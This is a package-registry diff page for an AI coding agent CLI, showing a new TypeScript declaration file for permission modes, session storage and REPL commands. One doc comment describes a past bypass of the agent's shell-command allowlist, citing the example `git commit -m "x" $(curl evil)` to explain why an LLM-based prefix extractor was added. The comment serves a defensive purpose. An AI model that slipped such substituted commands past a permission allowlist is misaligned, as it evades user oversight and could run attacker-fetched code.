@kodax-ai/kodax 0.7.39 → 0.7.41
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +100 -0
- package/README.md +58 -0
- package/README_CN.md +31 -0
- package/dist/chunks/{chunk-SF7WD7E5.js → chunk-5TFLMGER.js} +1 -1
- package/dist/chunks/{chunk-HUAU4KB3.js → chunk-6OB4AJOM.js} +1 -1
- package/dist/chunks/chunk-6QO6HWGU.js +30 -0
- package/dist/chunks/{chunk-SONW6AC7.js → chunk-EQ5DGS2W.js} +1 -1
- package/dist/chunks/chunk-EVIDQWMF.js +5 -0
- package/dist/chunks/chunk-HYWVRTFA.js +1233 -0
- package/dist/chunks/chunk-SX2IS5JP.js +16 -0
- package/dist/chunks/chunk-V4WSBIXB.js +2 -0
- package/dist/chunks/chunk-ZPJPNLBK.js +462 -0
- package/dist/chunks/compaction-config-LT5PEXPT.js +2 -0
- package/dist/chunks/{construction-bootstrap-XSE7ZABG.js → construction-bootstrap-HBCWJFHC.js} +1 -1
- package/dist/chunks/{devtools-MOFU7YQF.js → devtools-EYGFOXEU.js} +1 -1
- package/dist/chunks/{dist-WKW4CBG6.js → dist-M57GIWR4.js} +1 -1
- package/dist/chunks/dist-V3BS2NKB.js +2 -0
- package/dist/chunks/paste-5DSTHQGK.js +2 -0
- package/dist/chunks/{utils-3HW4KOGE.js → utils-FAFUQJ2A.js} +1 -1
- package/dist/index.d.ts +232 -7
- package/dist/index.js +2 -2
- package/dist/kodax_cli.js +945 -923
- package/dist/sdk-agent.d.ts +1459 -10
- package/dist/sdk-agent.js +1 -1
- package/dist/sdk-coding.d.ts +4543 -14
- package/dist/sdk-coding.js +1 -1
- package/dist/sdk-llm.d.ts +209 -10
- package/dist/sdk-llm.js +1 -1
- package/dist/sdk-repl.d.ts +2694 -13
- package/dist/sdk-repl.js +1 -1
- package/dist/sdk-skills.d.ts +487 -11
- package/dist/sdk-skills.js +1 -1
- package/dist/types-chunks/bash-prefix-extractor.d-B2iliwdi.d.ts +2432 -0
- package/dist/types-chunks/capability.d-BxNgd1-c.d.ts +368 -0
- package/dist/types-chunks/cost-tracker.d-C4dMlQuV.d.ts +342 -0
- package/dist/types-chunks/history-cleanup.d-q1vAvCss.d.ts +1266 -0
- package/dist/types-chunks/instance-discovery.d-DZhp77vb.d.ts +1217 -0
- package/dist/types-chunks/resolver.d-BwD6TKz7.d.ts +262 -0
- package/dist/types-chunks/storage.d-Bv9T99Qu.d.ts +584 -0
- package/dist/types-chunks/types.d-C5mHR87z.d.ts +119 -0
- package/package.json +8 -2
- package/dist/acp_events.d.ts +0 -109
- package/dist/acp_logger.d.ts +0 -20
- package/dist/acp_server.d.ts +0 -92
- package/dist/chunks/chunk-4E76FLZ3.js +0 -2
- package/dist/chunks/chunk-7LQ2NCHF.js +0 -1221
- package/dist/chunks/chunk-N2VZ2MJF.js +0 -11
- package/dist/chunks/chunk-WEEQZYZS.js +0 -460
- package/dist/chunks/chunk-XI75LZIO.js +0 -30
- package/dist/chunks/compaction-config-YL4SWWII.js +0 -2
- package/dist/chunks/dist-AMUYI7R5.js +0 -2
- package/dist/cli_commands.d.ts +0 -17
- package/dist/cli_option_helpers.d.ts +0 -49
- package/dist/cli_option_helpers.test.d.ts +0 -1
- package/dist/constructed_cli.d.ts +0 -82
- package/dist/constructed_cli.test.d.ts +0 -1
- package/dist/kodax_cli.d.ts +0 -7
- package/dist/self_modify_cli.d.ts +0 -81
- package/dist/self_modify_cli.test.d.ts +0 -9
- package/dist/skill_cli.d.ts +0 -15
- package/dist/skill_cli.test.d.ts +0 -1
|
@@ -0,0 +1,584 @@
|
|
|
1
|
+
import { l as BashPrefixExtractor, _ as KodaXOptions, H as KodaXContextTokenSnapshot, K as KodaXAgentMode, a3 as KodaXRepoIntelligenceMode, A as AgentsFile, i as AutoModeStats, ac as KodaXSkillInvocationContext, X as KodaXMcpServersConfig } from './bash-prefix-extractor.d-B2iliwdi.js';
|
|
2
|
+
import { v as KodaXSessionData, z as KodaXSessionLineage, F as KodaXSessionNavigationOptions, J as KodaXSessionRuntimeInfo, M as KodaXSessionStorage, O as KodaXSessionUiHistoryItem, s as KodaXSessionArtifactLedgerEntry } from './instance-discovery.d-DZhp77vb.js';
|
|
3
|
+
import { o as KodaXMessage, G as KodaXReasoningMode, s as KodaXProviderCapabilityProfile, H as KodaXReasoningOverride, j as KodaXCustomProviderConfig } from './capability.d-BxNgd1-c.js';
|
|
4
|
+
import * as readline from 'readline';
|
|
5
|
+
import { SpawnSyncReturns } from 'child_process';
|
|
6
|
+
|
|
7
|
+
/**
|
|
8
|
+
* Permission Types
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
/**
|
|
12
|
+
* Permission mode
|
|
13
|
+
* - plan: Read-only planning, all modifications blocked unless explicitly whitelisted
|
|
14
|
+
* - accept-edits: File edits auto-approved, shell commands require confirmation
|
|
15
|
+
* - auto: All tools auto-approved (with optional LLM classifier review when
|
|
16
|
+
* auto-mode engine === 'llm'; FEATURE_092 v0.7.33). When engine === 'rules',
|
|
17
|
+
* falls back to the legacy "all tools approved within project, outside
|
|
18
|
+
* requires confirmation" behavior — i.e., the v0.7.32 `auto-in-project`
|
|
19
|
+
* shape. The `auto-in-project` name is preserved as a deprecated alias
|
|
20
|
+
* for 5 minor versions (removed in v0.7.38).
|
|
21
|
+
*/
|
|
22
|
+
type PermissionMode = "plan" | "accept-edits" | "auto" | "auto-in-project";
|
|
23
|
+
declare const PERMISSION_MODES: PermissionMode[];
|
|
24
|
+
/**
|
|
25
|
+
* Status-bar display name for a permission mode. Title-Case short labels
|
|
26
|
+
* (mirrors Claude Code's `shortTitle` convention in
|
|
27
|
+
* `src/utils/permissions/PermissionMode.ts`):
|
|
28
|
+
* - `plan` → `Plan`
|
|
29
|
+
* - `accept-edits` → `Edits`
|
|
30
|
+
* - `auto` → `Auto`
|
|
31
|
+
* - `auto-in-project` → `Auto` (deprecated alias folds into the canonical
|
|
32
|
+
* display name; the deprecation notice
|
|
33
|
+
* surfaces once per session at startup)
|
|
34
|
+
*
|
|
35
|
+
* Single source of truth — both the readline status-bar
|
|
36
|
+
* (`packages/repl/src/interactive/status-bar.ts`) and the Ink view-model
|
|
37
|
+
* (`packages/repl/src/ui/view-models/status-bar.ts`) consume this so the two
|
|
38
|
+
* surfaces never drift on capitalization or short-form choice.
|
|
39
|
+
*/
|
|
40
|
+
declare function permissionModeDisplayName(mode: PermissionMode): string;
|
|
41
|
+
interface ConfirmResult {
|
|
42
|
+
confirmed: boolean;
|
|
43
|
+
always?: boolean;
|
|
44
|
+
}
|
|
45
|
+
interface PermissionContext {
|
|
46
|
+
permissionMode: PermissionMode;
|
|
47
|
+
confirmTools: Set<string>;
|
|
48
|
+
gitRoot?: string;
|
|
49
|
+
alwaysAllowTools: string[];
|
|
50
|
+
onConfirm?: (tool: string, input: Record<string, unknown>) => Promise<ConfirmResult>;
|
|
51
|
+
saveAlwaysAllowTool?: (tool: string, input: Record<string, unknown>, allowAll?: boolean) => void;
|
|
52
|
+
switchPermissionMode?: (mode: PermissionMode) => void;
|
|
53
|
+
beforeToolExecute?: (tool: string, input: Record<string, unknown>) => Promise<boolean | string>;
|
|
54
|
+
/**
|
|
55
|
+
* FEATURE_153 (v0.7.38) — Optional LLM-backed bash command prefix extractor.
|
|
56
|
+
* When supplied, `isToolCallAllowed` uses it to extract the SAFE PREFIX of
|
|
57
|
+
* a bash command before matching against allowlist patterns like
|
|
58
|
+
* `Bash(git commit:*)`. This eliminates the pre-FEATURE_153 vulnerability
|
|
59
|
+
* where `git commit -m "x" $(curl evil)` matched the allowlist via naive
|
|
60
|
+
* `command.startsWith` semantics.
|
|
61
|
+
*
|
|
62
|
+
* KodaX REPL bootstrap creates this via `createBashPrefixExtractor` from
|
|
63
|
+
* `@kodax-ai/coding` and threads it here. SDK consumers / tests without
|
|
64
|
+
* LLM access can omit it; legacy startsWith semantics apply (documented
|
|
65
|
+
* as insecure in `matchesBashPatternLegacy`).
|
|
66
|
+
*/
|
|
67
|
+
bashPrefixExtractor?: BashPrefixExtractor;
|
|
68
|
+
}
|
|
69
|
+
/**
|
|
70
|
+
* Compute the base confirmation set for each permission mode.
|
|
71
|
+
*
|
|
72
|
+
* Note: `plan` still lists the standard mutating tools here even though most of
|
|
73
|
+
* them are blocked earlier in the permission pipeline via `getPlanModeBlockReason`.
|
|
74
|
+
* This helper only describes the remaining confirmation step for calls that are
|
|
75
|
+
* not hard-blocked.
|
|
76
|
+
*/
|
|
77
|
+
declare function computeConfirmTools(mode: PermissionMode): Set<string>;
|
|
78
|
+
declare function isPermissionMode(value: string | undefined): value is PermissionMode;
|
|
79
|
+
declare function normalizePermissionMode(value: string | undefined, fallback?: PermissionMode): PermissionMode | undefined;
|
|
80
|
+
|
|
81
|
+
/**
|
|
82
|
+
* Session Storage - Session storage abstraction layer
|
|
83
|
+
*
|
|
84
|
+
* Provides a shared persistence interface across memory and filesystem storage.
|
|
85
|
+
*/
|
|
86
|
+
|
|
87
|
+
/**
|
|
88
|
+
* Session data structure.
|
|
89
|
+
*/
|
|
90
|
+
type SessionData = KodaXSessionData;
|
|
91
|
+
/**
|
|
92
|
+
* Session storage interface.
|
|
93
|
+
*/
|
|
94
|
+
interface SessionStorage$1 {
|
|
95
|
+
save(id: string, data: SessionData): Promise<void>;
|
|
96
|
+
load(id: string): Promise<SessionData | null>;
|
|
97
|
+
getLineage?(id: string): Promise<KodaXSessionLineage | null>;
|
|
98
|
+
setActiveEntry?(id: string, selector: string, options?: KodaXSessionNavigationOptions): Promise<SessionData | null>;
|
|
99
|
+
setLabel?(id: string, selector: string, label?: string): Promise<SessionData | null>;
|
|
100
|
+
rewind?(id: string, selector?: string): Promise<SessionData | null>;
|
|
101
|
+
fork?(id: string, selector?: string, options?: {
|
|
102
|
+
sessionId?: string;
|
|
103
|
+
title?: string;
|
|
104
|
+
}): Promise<{
|
|
105
|
+
sessionId: string;
|
|
106
|
+
data: SessionData;
|
|
107
|
+
} | null>;
|
|
108
|
+
list(gitRoot?: string): Promise<Array<{
|
|
109
|
+
id: string;
|
|
110
|
+
title: string;
|
|
111
|
+
msgCount: number;
|
|
112
|
+
runtimeInfo?: KodaXSessionRuntimeInfo;
|
|
113
|
+
}>>;
|
|
114
|
+
delete?(id: string): Promise<void>;
|
|
115
|
+
deleteAll?(gitRoot?: string): Promise<void>;
|
|
116
|
+
}
|
|
117
|
+
/**
|
|
118
|
+
* In-memory session storage implementation.
|
|
119
|
+
*/
|
|
120
|
+
declare class MemorySessionStorage implements SessionStorage$1 {
|
|
121
|
+
private sessions;
|
|
122
|
+
save(id: string, data: SessionData): Promise<void>;
|
|
123
|
+
load(id: string): Promise<SessionData | null>;
|
|
124
|
+
getLineage(id: string): Promise<KodaXSessionLineage | null>;
|
|
125
|
+
setActiveEntry(id: string, selector: string, options?: KodaXSessionNavigationOptions): Promise<SessionData | null>;
|
|
126
|
+
setLabel(id: string, selector: string, label?: string): Promise<SessionData | null>;
|
|
127
|
+
fork(id: string, selector?: string, options?: {
|
|
128
|
+
sessionId?: string;
|
|
129
|
+
title?: string;
|
|
130
|
+
}): Promise<{
|
|
131
|
+
sessionId: string;
|
|
132
|
+
data: SessionData;
|
|
133
|
+
} | null>;
|
|
134
|
+
rewind(id: string, selector?: string): Promise<SessionData | null>;
|
|
135
|
+
list(_gitRoot?: string): Promise<Array<{
|
|
136
|
+
id: string;
|
|
137
|
+
title: string;
|
|
138
|
+
msgCount: number;
|
|
139
|
+
}>>;
|
|
140
|
+
delete(id: string): Promise<void>;
|
|
141
|
+
deleteAll(_gitRoot?: string): Promise<void>;
|
|
142
|
+
}
|
|
143
|
+
declare function createMemorySessionStorage(): SessionStorage$1;
|
|
144
|
+
|
|
145
|
+
/**
|
|
146
|
+
* InkREPL - Ink-based REPL Adapter
|
|
147
|
+
*
|
|
148
|
+
* Bridges Ink UI components with existing KodaX command processing logic.
|
|
149
|
+
* Replaces the Node.js readline-based input with Ink's React components.
|
|
150
|
+
*
|
|
151
|
+
* Architecture based on Gemini CLI:
|
|
152
|
+
* - Uses UIStateContext for global state
|
|
153
|
+
* - Uses KeypressContext for priority-based keyboard handling
|
|
154
|
+
* - Uses StreamingContext for streaming response management
|
|
155
|
+
*/
|
|
156
|
+
|
|
157
|
+
interface InkREPLOptions extends KodaXOptions {
|
|
158
|
+
storage?: SessionStorage$1;
|
|
159
|
+
hardExitOnClose?: boolean;
|
|
160
|
+
}
|
|
161
|
+
/**
|
|
162
|
+
* Run Ink-based interactive mode
|
|
163
|
+
*/
|
|
164
|
+
declare function runInkInteractiveMode(options: InkREPLOptions): Promise<void>;
|
|
165
|
+
|
|
166
|
+
/**
|
|
167
|
+
* KodaX Interactive REPL Mode - 交互式 REPL 模式
|
|
168
|
+
*/
|
|
169
|
+
|
|
170
|
+
interface SessionStorage extends KodaXSessionStorage {
|
|
171
|
+
list(gitRoot?: string): Promise<Array<{
|
|
172
|
+
id: string;
|
|
173
|
+
title: string;
|
|
174
|
+
msgCount: number;
|
|
175
|
+
runtimeInfo?: KodaXSessionData['runtimeInfo'];
|
|
176
|
+
}>>;
|
|
177
|
+
}
|
|
178
|
+
interface RepLOptions extends KodaXOptions {
|
|
179
|
+
storage?: SessionStorage;
|
|
180
|
+
}
|
|
181
|
+
declare function runInteractiveMode(options: RepLOptions): Promise<void>;
|
|
182
|
+
declare function processSpecialSyntax(input: string): Promise<string>;
|
|
183
|
+
|
|
184
|
+
/**
|
|
185
|
+
* KodaX Interactive Context Management - 交互式上下文管理
|
|
186
|
+
*/
|
|
187
|
+
|
|
188
|
+
type InteractiveMode = 'code' | 'ask';
|
|
189
|
+
interface InteractiveContext {
|
|
190
|
+
messages: KodaXMessage[];
|
|
191
|
+
uiHistory?: KodaXSessionUiHistoryItem[];
|
|
192
|
+
contextTokenSnapshot?: KodaXContextTokenSnapshot;
|
|
193
|
+
lineage?: KodaXSessionLineage;
|
|
194
|
+
artifactLedger?: KodaXSessionArtifactLedgerEntry[];
|
|
195
|
+
sessionId: string;
|
|
196
|
+
title: string;
|
|
197
|
+
gitRoot?: string;
|
|
198
|
+
runtimeInfo?: KodaXSessionRuntimeInfo;
|
|
199
|
+
createdAt: string;
|
|
200
|
+
lastAccessed: string;
|
|
201
|
+
}
|
|
202
|
+
declare function createInteractiveContext(options: {
|
|
203
|
+
sessionId?: string;
|
|
204
|
+
gitRoot?: string;
|
|
205
|
+
runtimeInfo?: KodaXSessionRuntimeInfo;
|
|
206
|
+
existingMessages?: KodaXMessage[];
|
|
207
|
+
existingUiHistory?: KodaXSessionUiHistoryItem[];
|
|
208
|
+
existingLineage?: KodaXSessionLineage;
|
|
209
|
+
existingArtifactLedger?: KodaXSessionArtifactLedgerEntry[];
|
|
210
|
+
}): Promise<InteractiveContext>;
|
|
211
|
+
declare function touchContext(context: InteractiveContext): void;
|
|
212
|
+
|
|
213
|
+
/**
|
|
214
|
+
* UI Context Interface - UI 交互上下文接口
|
|
215
|
+
*
|
|
216
|
+
* 通用 UI 交互接口,可用于:
|
|
217
|
+
* - Command handlers (命令处理器)
|
|
218
|
+
* - Skills execution (技能执行)
|
|
219
|
+
* - LLM tool calls (LLM 工具调用)
|
|
220
|
+
* - Agent workflows (Agent 工作流)
|
|
221
|
+
*/
|
|
222
|
+
/**
|
|
223
|
+
* UIContext - 通用 UI 交互接口
|
|
224
|
+
*
|
|
225
|
+
* @example
|
|
226
|
+
* ```typescript
|
|
227
|
+
* // Command handler 中使用
|
|
228
|
+
* const selected = await callbacks.ui.select("Choose an option", ["A", "B", "C"]);
|
|
229
|
+
* const confirmed = await callbacks.ui.confirm("Delete all sessions?");
|
|
230
|
+
* const value = await callbacks.ui.input("Enter your name", "John");
|
|
231
|
+
* ```
|
|
232
|
+
*/
|
|
233
|
+
interface UIContext {
|
|
234
|
+
/**
|
|
235
|
+
* Show a selector and return the user's choice
|
|
236
|
+
* 显示选择对话框,返回用户的选择
|
|
237
|
+
*
|
|
238
|
+
* @param title - Dialog title
|
|
239
|
+
* @param options - List of options to choose from
|
|
240
|
+
* @returns Selected option, or undefined if cancelled
|
|
241
|
+
*/
|
|
242
|
+
select(title: string, options: string[]): Promise<string | undefined>;
|
|
243
|
+
/**
|
|
244
|
+
* Show a confirmation dialog
|
|
245
|
+
* 显示确认对话框
|
|
246
|
+
*
|
|
247
|
+
* @param message - Confirmation message
|
|
248
|
+
* @returns true if confirmed, false if declined
|
|
249
|
+
*/
|
|
250
|
+
confirm(message: string): Promise<boolean>;
|
|
251
|
+
/**
|
|
252
|
+
* Show a text input dialog
|
|
253
|
+
* 显示文本输入对话框
|
|
254
|
+
*
|
|
255
|
+
* @param prompt - Input prompt
|
|
256
|
+
* @param defaultValue - Optional default value
|
|
257
|
+
* @returns Input value, or undefined if cancelled
|
|
258
|
+
*/
|
|
259
|
+
input(prompt: string, defaultValue?: string): Promise<string | undefined>;
|
|
260
|
+
}
|
|
261
|
+
|
|
262
|
+
type CommandSource = 'builtin' | 'extension' | 'skill' | 'prompt';
|
|
263
|
+
type CommandPriority = 'critical' | 'high' | 'medium' | 'low';
|
|
264
|
+
interface CommandHook {
|
|
265
|
+
matcher?: string;
|
|
266
|
+
command: string;
|
|
267
|
+
}
|
|
268
|
+
interface CommandHooks {
|
|
269
|
+
SessionStart?: CommandHook[];
|
|
270
|
+
UserPromptSubmit?: CommandHook[];
|
|
271
|
+
PreToolUse?: CommandHook[];
|
|
272
|
+
PostToolUse?: CommandHook[];
|
|
273
|
+
Stop?: CommandHook[];
|
|
274
|
+
SubagentStop?: CommandHook[];
|
|
275
|
+
Notification?: CommandHook[];
|
|
276
|
+
}
|
|
277
|
+
interface CommandExecutionMetadata {
|
|
278
|
+
disableModelInvocation?: boolean;
|
|
279
|
+
userInvocable?: boolean;
|
|
280
|
+
allowedTools?: string;
|
|
281
|
+
context?: 'fork';
|
|
282
|
+
agent?: string;
|
|
283
|
+
argumentHint?: string;
|
|
284
|
+
model?: string;
|
|
285
|
+
hooks?: CommandHooks;
|
|
286
|
+
frontmatter?: Record<string, unknown>;
|
|
287
|
+
}
|
|
288
|
+
interface CurrentConfig {
|
|
289
|
+
provider: string;
|
|
290
|
+
model?: string;
|
|
291
|
+
thinking: boolean;
|
|
292
|
+
reasoningMode: KodaXReasoningMode;
|
|
293
|
+
agentMode: KodaXAgentMode;
|
|
294
|
+
permissionMode: PermissionMode;
|
|
295
|
+
repoIntelligenceMode?: KodaXRepoIntelligenceMode;
|
|
296
|
+
repointelEndpoint?: string;
|
|
297
|
+
repointelBin?: string;
|
|
298
|
+
repoIntelligenceTrace?: boolean;
|
|
299
|
+
}
|
|
300
|
+
type SessionLoadStatus = 'loaded' | 'missing' | 'blocked';
|
|
301
|
+
type SessionBranchSwitchStatus = 'switched' | 'missing' | 'blocked';
|
|
302
|
+
type SessionForkStatus = 'forked' | 'failed' | 'blocked';
|
|
303
|
+
type SessionRewindStatus = 'rewound' | 'failed' | 'blocked';
|
|
304
|
+
interface CommandCallbacks {
|
|
305
|
+
exit: () => void | Promise<void>;
|
|
306
|
+
saveSession: () => Promise<void>;
|
|
307
|
+
startNewSession?: () => void;
|
|
308
|
+
loadSession: (id: string) => Promise<SessionLoadStatus>;
|
|
309
|
+
listSessions: () => Promise<void>;
|
|
310
|
+
clearHistory: () => void;
|
|
311
|
+
printHistory: () => void;
|
|
312
|
+
switchProvider?: (provider: string, model?: string) => void;
|
|
313
|
+
setThinking?: (enabled: boolean) => void;
|
|
314
|
+
setReasoningMode?: (mode: KodaXReasoningMode) => void;
|
|
315
|
+
setAgentMode?: (mode: KodaXAgentMode) => void;
|
|
316
|
+
setPermissionMode?: (mode: PermissionMode) => void;
|
|
317
|
+
setRepoIntelligenceRuntime?: (update: {
|
|
318
|
+
mode?: KodaXRepoIntelligenceMode;
|
|
319
|
+
endpoint?: string | null;
|
|
320
|
+
bin?: string | null;
|
|
321
|
+
trace?: boolean;
|
|
322
|
+
}) => void;
|
|
323
|
+
deleteSession?: (id: string) => Promise<void>;
|
|
324
|
+
deleteAllSessions?: () => Promise<void>;
|
|
325
|
+
createKodaXOptions?: () => KodaXOptions;
|
|
326
|
+
reloadAgentsFiles?: () => Promise<AgentsFile[]>;
|
|
327
|
+
confirm?: (message: string) => Promise<boolean>;
|
|
328
|
+
readline?: readline.Interface;
|
|
329
|
+
startCompacting?: () => void;
|
|
330
|
+
stopCompacting?: () => void;
|
|
331
|
+
printSessionTree?: () => Promise<void>;
|
|
332
|
+
switchSessionBranch?: (selector: string) => Promise<SessionBranchSwitchStatus>;
|
|
333
|
+
labelSessionBranch?: (selector: string, label?: string) => Promise<boolean>;
|
|
334
|
+
forkSession?: (selector?: string) => Promise<SessionForkStatus>;
|
|
335
|
+
rewindSession?: (selector?: string) => Promise<SessionRewindStatus>;
|
|
336
|
+
getCostReport?: () => string | null;
|
|
337
|
+
/**
|
|
338
|
+
* FEATURE_092 phase 2b.8: read-only stats accessor for the auto-mode
|
|
339
|
+
* classifier guardrail. Returns undefined when the guardrail hasn't been
|
|
340
|
+
* constructed yet (REPL never entered auto mode this session). The
|
|
341
|
+
* returned snapshot is a copy of references — caller cannot mutate
|
|
342
|
+
* guardrail state through it. Used by `/auto-engine` (show), `/auto-denials`,
|
|
343
|
+
* and the status bar engine indicator.
|
|
344
|
+
*/
|
|
345
|
+
getAutoModeStats?: () => AutoModeStats | undefined;
|
|
346
|
+
/**
|
|
347
|
+
* FEATURE_092 phase 2b.8: manual engine setter for `/auto-engine llm|rules`.
|
|
348
|
+
* No-op when the guardrail hasn't been constructed yet. Threshold downgrades
|
|
349
|
+
* still operate normally — a subsequent denial cross will downgrade again.
|
|
350
|
+
*/
|
|
351
|
+
setAutoModeEngine?: (engine: 'llm' | 'rules') => void;
|
|
352
|
+
ui: UIContext;
|
|
353
|
+
}
|
|
354
|
+
interface CommandResultData {
|
|
355
|
+
success?: boolean;
|
|
356
|
+
message?: string;
|
|
357
|
+
data?: unknown;
|
|
358
|
+
skillContent?: string;
|
|
359
|
+
invocation?: CommandInvocationRequest;
|
|
360
|
+
}
|
|
361
|
+
interface CommandInvocationRequest extends CommandExecutionMetadata {
|
|
362
|
+
prompt: string;
|
|
363
|
+
source: 'skill' | 'prompt' | 'extension';
|
|
364
|
+
displayName: string;
|
|
365
|
+
path?: string;
|
|
366
|
+
skillInvocation?: KodaXSkillInvocationContext;
|
|
367
|
+
}
|
|
368
|
+
type CommandResult$1 = boolean | CommandResultData;
|
|
369
|
+
type CommandHandler = (args: string[], context: InteractiveContext, callbacks: CommandCallbacks, currentConfig: CurrentConfig) => Promise<CommandResult$1 | void>;
|
|
370
|
+
/**
|
|
371
|
+
* Legacy command shape used by the existing REPL command table.
|
|
372
|
+
*/
|
|
373
|
+
interface Command$1 {
|
|
374
|
+
name: string;
|
|
375
|
+
aliases?: string[];
|
|
376
|
+
description: string;
|
|
377
|
+
usage?: string;
|
|
378
|
+
handler: CommandHandler;
|
|
379
|
+
detailedHelp?: () => void;
|
|
380
|
+
source?: CommandSource;
|
|
381
|
+
priority?: CommandPriority;
|
|
382
|
+
location?: 'user' | 'project' | 'path';
|
|
383
|
+
path?: string;
|
|
384
|
+
userInvocable?: boolean;
|
|
385
|
+
disableModelInvocation?: boolean;
|
|
386
|
+
allowedTools?: string;
|
|
387
|
+
context?: 'fork';
|
|
388
|
+
agent?: string;
|
|
389
|
+
argumentHint?: string;
|
|
390
|
+
model?: string;
|
|
391
|
+
hooks?: CommandHooks;
|
|
392
|
+
frontmatter?: Record<string, unknown>;
|
|
393
|
+
}
|
|
394
|
+
|
|
395
|
+
/**
|
|
396
|
+
* KodaX Interactive Command System
|
|
397
|
+
*/
|
|
398
|
+
|
|
399
|
+
type Command = Command$1;
|
|
400
|
+
declare const BUILTIN_COMMANDS: Command[];
|
|
401
|
+
declare function parseCommand(input: string): {
|
|
402
|
+
command: string;
|
|
403
|
+
args: string[];
|
|
404
|
+
skillInvocation?: {
|
|
405
|
+
name: string;
|
|
406
|
+
};
|
|
407
|
+
} | null;
|
|
408
|
+
type CommandResult = boolean | {
|
|
409
|
+
skillContent?: string;
|
|
410
|
+
invocation?: CommandInvocationRequest;
|
|
411
|
+
};
|
|
412
|
+
declare function executeCommand(parsed: {
|
|
413
|
+
command: string;
|
|
414
|
+
args: string[];
|
|
415
|
+
skillInvocation?: {
|
|
416
|
+
name: string;
|
|
417
|
+
};
|
|
418
|
+
}, context: InteractiveContext, callbacks: CommandCallbacks, currentConfig: CurrentConfig): Promise<CommandResult>;
|
|
419
|
+
|
|
420
|
+
/**
|
|
421
|
+
* KodaX CLI Utilities
|
|
422
|
+
* CLI 层工具函数
|
|
423
|
+
*/
|
|
424
|
+
|
|
425
|
+
/**
|
|
426
|
+
* CLI config directory paths — top-level constants frozen at module-load time.
|
|
427
|
+
*
|
|
428
|
+
* **LOAD-TIME FREEZE WARNING (v0.7.35.1 FEATURE_145)** — these constants
|
|
429
|
+
* are computed ONCE when this module is first imported, by reading
|
|
430
|
+
* `getAgentConfigHome()` (which itself reads `KODAX_HOME` env var and
|
|
431
|
+
* the programmatic override at that single moment). Subsequent calls to
|
|
432
|
+
* `setAgentConfigHome()` have NO effect on these constants. This
|
|
433
|
+
* matches the prior v0.7.35 behavior where they were inlined as
|
|
434
|
+
* `path.join(os.homedir(), '.kodax')` — same load-time semantics, just
|
|
435
|
+
* routed through the resolver so that `KODAX_HOME` env is now honored.
|
|
436
|
+
*
|
|
437
|
+
* **For substrate consumers**: if you intend to redirect the agent
|
|
438
|
+
* config home via `setAgentConfigHome()`, you MUST call it BEFORE
|
|
439
|
+
* importing any module that transitively imports `@kodax-ai/repl`'s
|
|
440
|
+
* `utils.ts`. Common downstream consumers that capture these constants
|
|
441
|
+
* include:
|
|
442
|
+
* - `repl/interactive/storage.ts` → `KODAX_SESSIONS_DIR` (session
|
|
443
|
+
* persistence; silent corruption risk if override is set late)
|
|
444
|
+
* - the SDK's `repl/index.ts` re-exports
|
|
445
|
+
* - root `src/index.ts` re-exports
|
|
446
|
+
*
|
|
447
|
+
* **For env-var users**: setting `KODAX_HOME=/path` before launching
|
|
448
|
+
* the kodax CLI works as expected — the env var is read at first
|
|
449
|
+
* import.
|
|
450
|
+
*
|
|
451
|
+
* **For per-call resolution**: use `getAgentConfigHome()` /
|
|
452
|
+
* `getAgentConfigPath(...)` directly from `@kodax-ai/agent` instead of
|
|
453
|
+
* these constants — those resolve at call time and honor late
|
|
454
|
+
* `setAgentConfigHome()` calls.
|
|
455
|
+
*/
|
|
456
|
+
declare const KODAX_DIR: string;
|
|
457
|
+
declare const KODAX_SESSIONS_DIR: string;
|
|
458
|
+
declare const KODAX_CONFIG_FILE: string;
|
|
459
|
+
declare const PREVIEW_MAX_LENGTH = 60;
|
|
460
|
+
type ShellEnvRunner = (command: string, args: string[], options: {
|
|
461
|
+
encoding: 'utf8';
|
|
462
|
+
env: NodeJS.ProcessEnv;
|
|
463
|
+
maxBuffer: number;
|
|
464
|
+
timeout: number;
|
|
465
|
+
windowsHide: boolean;
|
|
466
|
+
detached: boolean;
|
|
467
|
+
stdio: ['ignore', 'pipe', 'pipe'];
|
|
468
|
+
}) => SpawnSyncReturns<string>;
|
|
469
|
+
declare function hydrateProcessEnvFromShell(options?: {
|
|
470
|
+
env?: NodeJS.ProcessEnv;
|
|
471
|
+
platform?: NodeJS.Platform;
|
|
472
|
+
run?: ShellEnvRunner;
|
|
473
|
+
shell?: string;
|
|
474
|
+
}): boolean;
|
|
475
|
+
declare function registerConfiguredCustomProviders(config: {
|
|
476
|
+
customProviders?: KodaXCustomProviderConfig[];
|
|
477
|
+
}): void;
|
|
478
|
+
declare function getVersion(): string;
|
|
479
|
+
declare const KODAX_VERSION: string;
|
|
480
|
+
declare function getProviderModel(name: string): string | null;
|
|
481
|
+
declare function getProviderList(providerModelsConfig?: Record<string, string[]>): Array<{
|
|
482
|
+
name: string;
|
|
483
|
+
model: string;
|
|
484
|
+
models: string[];
|
|
485
|
+
configured: boolean;
|
|
486
|
+
reasoningCapability: string;
|
|
487
|
+
capabilityProfile: KodaXProviderCapabilityProfile;
|
|
488
|
+
custom?: boolean;
|
|
489
|
+
}>;
|
|
490
|
+
declare function isProviderConfigured(name: string): boolean;
|
|
491
|
+
declare function loadConfig(): {
|
|
492
|
+
provider?: string;
|
|
493
|
+
model?: string;
|
|
494
|
+
thinking?: boolean;
|
|
495
|
+
reasoningMode?: KodaXReasoningMode;
|
|
496
|
+
/**
|
|
497
|
+
* FEATURE_078 (v0.7.29): preferred name for `reasoningMode`. Both
|
|
498
|
+
* fields map to the same runtime L1 user-ceiling semantic; when both
|
|
499
|
+
* are present `reasoningCeiling` wins. Prefer this name in new
|
|
500
|
+
* configs — `reasoningMode` is kept accepted for backward
|
|
501
|
+
* compatibility and never auto-renamed (no user-visible churn).
|
|
502
|
+
*/
|
|
503
|
+
reasoningCeiling?: KodaXReasoningMode;
|
|
504
|
+
agentMode?: KodaXAgentMode;
|
|
505
|
+
permissionMode?: string;
|
|
506
|
+
locale?: string;
|
|
507
|
+
providerReasoningOverrides?: Record<string, KodaXReasoningOverride>;
|
|
508
|
+
providerModels?: Record<string, string[]>;
|
|
509
|
+
customProviders?: KodaXCustomProviderConfig[];
|
|
510
|
+
extensions?: string[];
|
|
511
|
+
mcpServers?: KodaXMcpServersConfig;
|
|
512
|
+
repoIntelligenceMode?: 'auto' | 'off' | 'oss' | 'premium-shared' | 'premium-native';
|
|
513
|
+
repointelEndpoint?: string;
|
|
514
|
+
repointelBin?: string;
|
|
515
|
+
